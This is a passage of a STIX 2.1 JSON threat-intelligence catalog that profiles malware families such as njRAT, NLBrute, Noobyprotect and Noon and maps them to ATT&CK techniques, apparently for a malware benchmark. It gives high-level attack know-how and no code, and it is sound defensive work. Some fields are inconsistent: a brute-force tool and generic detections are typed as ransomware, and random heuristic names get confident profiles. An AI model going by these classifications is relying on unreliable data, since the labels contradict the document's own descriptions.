      "description": "njRAT (also tracked as Bladabindi, Njw0rm, and Backdoor:MSIL/Bladabindi) is a notorious, widely disseminated remote access trojan (RAT) developed in Microsoft Visual Basic .NET by a Kuwaiti threat actor known as 'njq8'. First surfacing in 2012 and publicly distributed across underground forums, njRAT became one of the most widespread commodity remote administration tools in the Middle East and worldwide. njRAT establishes persistent reverse TCP socket connections to operator command-and-control servers, utilizing dynamic DNS domains and communicating via custom plaintext protocols delimited by the string '|'|'|'. The trojan provides operators with extensive interactive surveillance and administrative control: it features real-time keystroke logging via the GetAsyncKeyState Windows API, live desktop screen streaming, webcam and microphone spying, arbitrary process execution via cmd.exe and PowerShell, file system manipulation, and automated credential theft from web browsers, FileZilla, and instant messaging clients. To evade detection, njRAT executes process hollowing (T1055.012) into trusted Windows processes (such as svchost.exe), modifies firewall rules via netsh, and adds itself to registry autostart keys. In June 2014, Microsoft and the FBI executed a landmark civil and criminal operation, seizing 22 dynamic DNS domains managed by No-IP (Vitalwerks) that were actively facilitating njRAT and Bladabindi botnets, accompanied by CISA Alert AA14-143A. (Observed samples in benchmark: 280)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Bladabindi",
        "Njw0rm",
        "Backdoor:MSIL/Bladabindi",
        "Trojan.MSIL.njRAT",
        "Win32/Bladabindi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Njrat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/njrat"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA14-143A"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c2a690d7-9a3b-5f0f-ba9a-cc42e7fbcda9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nlbrute",
      "description": "<h3>Executive Summary</h3>\nNLBrute is a notorious, commercially available hacking tool specifically designed to perform high-speed, automated brute-force attacks against the Remote Desktop Protocol (RDP - Port 3389). It is widely utilized by initial access brokers and ransomware syndicates to compromise internet-facing Windows servers, establishing a persistent foothold within corporate networks.\n\n<h3>Technical Architecture and Operational Tactics</h3>\nNLBrute is highly efficient, capable of attempting thousands of credential combinations per minute. Its operational flow involves:\n<ul>\n<li><strong>Target Acquisition:</strong> Attackers first utilize internet-wide scanning tools (like Masscan or ZMap) to identify servers with Port 3389 open to the public internet.</li>\n<li><strong>Brute-Forcing:</strong> NLBrute is then deployed against the identified targets, utilizing massive, curated dictionaries containing common usernames (Administrator, Admin) and millions of compromised passwords.</li>\n<li><strong>Evasion:</strong> The tool often supports the use of proxy lists (SOCKS4/5) to distribute the attack traffic across hundreds of IP addresses, making it difficult for basic rate-limiting or IP blocklists to thwart the attack.</li>\n</ul>\nOnce NLBrute successfully guesses a valid credential pair, the attacker gains full, interactive GUI access to the compromised server, bypassing all perimeter defenses.\n\n<h3>Threat Impact</h3>\nAn NLBrute compromise is a catastrophic security failure. By gaining RDP access, the attacker operates with the privileges of the compromised user (often a domain administrator). This allows them to seamlessly disable security software, deploy ransomware (like Dharma or Phobos), and exfiltrate sensitive corporate data without triggering malware alerts.\n\n<h3>Defense and Resilience Strategies</h3>\n<ul>\n<li><strong>RDP Hardening:</strong> Never expose RDP (Port 3389) directly to the public internet. Require users to connect via a secure Virtual Private Network (VPN) or a Remote Desktop Gateway before accessing internal RDP servers.</li>\n<li><strong>Multi-Factor Authentication (MFA):</strong> Enforce strict MFA for all RDP connections. Even if NLBrute successfully guesses the password, the attack will fail without the secondary authentication token.</li>\n<li><strong>Account Lockout Policies:</strong> Implement stringent account lockout policies (e.g., locking an account after 5 failed login attempts) to mathematically defeat brute-force methodologies.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "HackTool.NLBrute",
        "RDP.BruteForcer",
        "Win32/NLBrute"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nlbrute",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nlbrute"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60132c7b-2982-527d-a925-3b9a1d06c184",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2a690d7-9a3b-5f0f-ba9a-cc42e7fbcda9",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nlbrute exhibits technique T1110.001 (Brute Force: Password Guessing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50926234-9dc1-5032-b0c2-70eee3115ab4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2a690d7-9a3b-5f0f-ba9a-cc42e7fbcda9",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nlbrute exhibits technique T1133 (External Remote Services (Commonly deployed via brute-forced RDP connections))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5004b60c-8401-5d52-8e22-7d84c652f515",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2a690d7-9a3b-5f0f-ba9a-cc42e7fbcda9",
      "target_ref": "attack-pattern--a71a63c8-767f-55cc-b621-7f5e5f29d3e3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nlbrute exhibits technique T1078.002 (Domain Accounts)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4f33ada9-7c58-5b1c-9fb9-bfc62dd9b137",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nmkfacwya3Cg",
      "description": "<h3>Executive Summary</h3>\n\"nmkfacwya3cg\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> nmkfacwya3cg typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.nmkfacwya3cg",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nmkfacwya3Cg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nmkfacwya3cg"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--158c0bb3-d18c-5ba3-81ba-85ea9caeed77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f33ada9-7c58-5b1c-9fb9-bfc62dd9b137",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nmkfacwya3Cg exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83416992-22f1-5f75-a72c-f1b6ada053d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f33ada9-7c58-5b1c-9fb9-bfc62dd9b137",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nmkfacwya3Cg exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70d60d5b-e64c-52c9-ba11-86ad58bb71cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f33ada9-7c58-5b1c-9fb9-bfc62dd9b137",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nmkfacwya3Cg exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68d32264-5d47-51fc-8bff-d120fa52170c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f33ada9-7c58-5b1c-9fb9-bfc62dd9b137",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nmkfacwya3Cg exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3117028e-4461-5987-988e-3f69e4ed1362",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nmkfxmdtnmoi",
      "description": "<h3>Executive Summary</h3>\n\"Nmkfxmdtnmoi\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file or domain name that exhibits characteristics strongly associated with Domain Generation Algorithms (DGAs) or heavily obfuscated malware droppers.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Nmkfxmdtnmoi\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles or network requests flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>DGA Communication:</strong> The malware attempts to resolve DNS queries for long, random, nonsensical domain names. This is a common tactic used by botnets and trojans to locate their command-and-control (C2) servers while evading static IP blocklists.</li>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using custom algorithms, aiming to hide the true malicious payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Injection:</strong> The program attempts to execute Windows APIs to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, an Nmkfxmdtnmoi alert is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed to establish a beachhead for a larger, targeted attack.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the endpoint from the corporate network immediately to halt the DGA communication and prevent the potential download of secondary payloads.</li>\n<li><strong>DNS Log Analysis:</strong> Analyze corporate DNS logs for the specific pseudo-random strings generated during the alert to identify other potentially compromised hosts beaconing to the same infrastructure.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.DGA",
        "Suspicious.Nmkfxmdtnmoi",
        "Heur.Nmkfxmdtnmoi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nmkfxmdtnmoi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nmkfxmdtnmoi"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d9f8152-8e70-5814-acbe-976a9f9152c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3117028e-4461-5987-988e-3f69e4ed1362",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nmkfxmdtnmoi exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e7c4b03-a18b-55dd-9539-44e9805a11a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3117028e-4461-5987-988e-3f69e4ed1362",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nmkfxmdtnmoi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe0be687-a918-59d0-ae86-67390da46476",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3117028e-4461-5987-988e-3f69e4ed1362",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nmkfxmdtnmoi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e42a6651-bd74-5c5e-b868-836e2f258460",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Noancooe",
      "description": "Noancooe (cataloged across security vendors and threat intelligence databases under detections including Backdoor:MSIL/Noancooe, Trojan:Win32/Noancooe, and Backdoor.MSIL.Noancooe) is a stealthy .NET MSIL modular remote access trojan and backdoor active since 2018. Designed to grant threat actors persistent interactive control over compromised endpoints, Noancooe is frequently distributed disguised as cracked software utilities, software key generators, or malicious attachments within targeted spearphishing campaigns. Once executed, Noancooe establishes startup persistence through Windows Registry Run keys and scheduled tasks, performs host environment fingerprinting, and connects to remote command-and-control servers over encrypted TCP/HTTP channels. The backdoor provides attackers with capabilities to execute remote shell commands, harvest system credentials, log keystrokes, exfiltrate confidential files, and download secondary payloads such as ransomware or coinminers. (Observed samples in benchmark: 56)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:MSIL/Noancooe",
        "Trojan:Win32/Noancooe",
        "Backdoor.MSIL.Noancooe",
        "Win32/Noancooe",
        "Trojan.Noancooe"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Noancooe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/noancooe"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--45567e0f-c86e-518f-8c07-c3d2e144e0b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Noobyprotect",
      "description": "Noobyprotect (cataloged in threat telemetry under signatures including SoftwareBundler:Win32/Noobyprotect, Trojan.MalPack.NP, and PUA:Win32/NoobyProtect) is a commercial and underground software protector, crypter, and runtime packer active since 2013. Designed to compress, encrypt, and obfuscate executable binaries, Noobyprotect is heavily abused by cybercriminals to armor secondary malicious payloads\u2014including trojans, info-stealers, ransomware droppers, and software bundlers\u2014against static antivirus detection. Executables packed with Noobyprotect exhibit high Shannon entropy across their code sections and feature heavily modified PE headers. Upon launch, the Noobyprotect stub executes extensive pre-flight environment checks, inspecting system memory and CPU registers for debuggers (x64dbg, OllyDbg) and virtualization artifacts (VMware, VirtualBox, sandbox environments). If an analysis sandbox is detected, execution immediately halts. Otherwise, the stub dynamically allocates virtual memory, unpacks and decrypts the embedded payload directly in RAM, and transfers execution control without writing raw payload code to disk. (Observed samples in benchmark: 136)",
      "is_family": true,
      "malware_types": [
        "resource-exploitation"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "SoftwareBundler:Win32/Noobyprotect",
        "Trojan.MalPack.NP",
        "PUA:Win32/NoobyProtect",
        "Win32.Packed.NoobyProtect",
        "Packer:Win32/Noobyprotect"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Noobyprotect",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/noobyprotect"
        }
      ],
      "labels": [
        "packer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83363773-ce29-520a-847a-42d5ec925ab7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45567e0f-c86e-518f-8c07-c3d2e144e0b6",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noobyprotect exhibits technique T1027.002 (Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18241c59-0a90-591d-a99e-8db201d9186a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45567e0f-c86e-518f-8c07-c3d2e144e0b6",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noobyprotect exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--570d39d2-29ec-5483-b4f6-1d5971ba35a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45567e0f-c86e-518f-8c07-c3d2e144e0b6",
      "target_ref": "attack-pattern--abf165c6-7223-5077-a3ea-1854fa56e62b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noobyprotect exhibits technique T1620 (Reflective Code Loading)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9f0eb0d-d6ad-5898-a45a-fc0683280316",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45567e0f-c86e-518f-8c07-c3d2e144e0b6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noobyprotect exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b01b413-7752-5b92-824c-3c04aa694761",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45567e0f-c86e-518f-8c07-c3d2e144e0b6",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noobyprotect exhibits technique T1129 (Shared Modules)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--db8e10c6-7fa6-531a-82cd-54490118d6e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Noon",
      "description": "Noon (documented across security intelligence solutions as Adware:Win32/Noon and BrowserModifier:Win32/Noon) is an aggressive adware and browser modifier platform analyzed by Microsoft Defender. Typically delivered bundled inside deceptive freeware utilities, third-party software downloaders, and media converter installers, Noon covertly alters configuration parameters across major web browsers including Google Chrome, Mozilla Firefox, and Microsoft Edge. Upon host execution, Noon changes default search engines, modifies browser homepages and new tab URLs to affiliate-owned advertising portals, and injects sponsored hyperlinks and pop-under banners into user browsing sessions to generate unauthorized pay-per-click revenue. To ensure persistence, Noon configures auto-start registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run, installs background updater services, and modifies browser shortcuts on the desktop. (Observed samples in benchmark: 926)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Noon",
        "BrowserModifier:Win32/Noon",
        "Win32/Noon.Adware",
        "PUP.Optional.Noon",
        "Adware.Noon"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Noon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/noon"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49e18f47-241c-52e9-a1ca-c15120491a2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db8e10c6-7fa6-531a-82cd-54490118d6e1",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noon exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73c69f8e-a8a6-56b8-bab7-6468fb7943d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db8e10c6-7fa6-531a-82cd-54490118d6e1",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noon exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--580925d0-3338-5af1-b8b4-9d47c8f19961",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db8e10c6-7fa6-531a-82cd-54490118d6e1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d558e01-5a20-536d-945f-976ebea0d94b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db8e10c6-7fa6-531a-82cd-54490118d6e1",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noon exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d04a6e72-a72b-5ae1-8f57-ddac2925d92b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db8e10c6-7fa6-531a-82cd-54490118d6e1",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noon exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7bceabb6-da3e-50df-9675-32790e680b18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db8e10c6-7fa6-531a-82cd-54490118d6e1",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noon exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7228f611-6bd0-5048-abd1-38397bca4a84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db8e10c6-7fa6-531a-82cd-54490118d6e1",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noon exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0971669e-8178-53e2-a2ec-45f3c3d30663",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Noonlight",
      "description": "Trojan:Win32/Noonlight is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Noonlight</b><br>To an end-user, a Noonlight infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Noonlight is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Noonlight is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Noonlight frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Noonlight reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Noonlight",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/noonlight"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
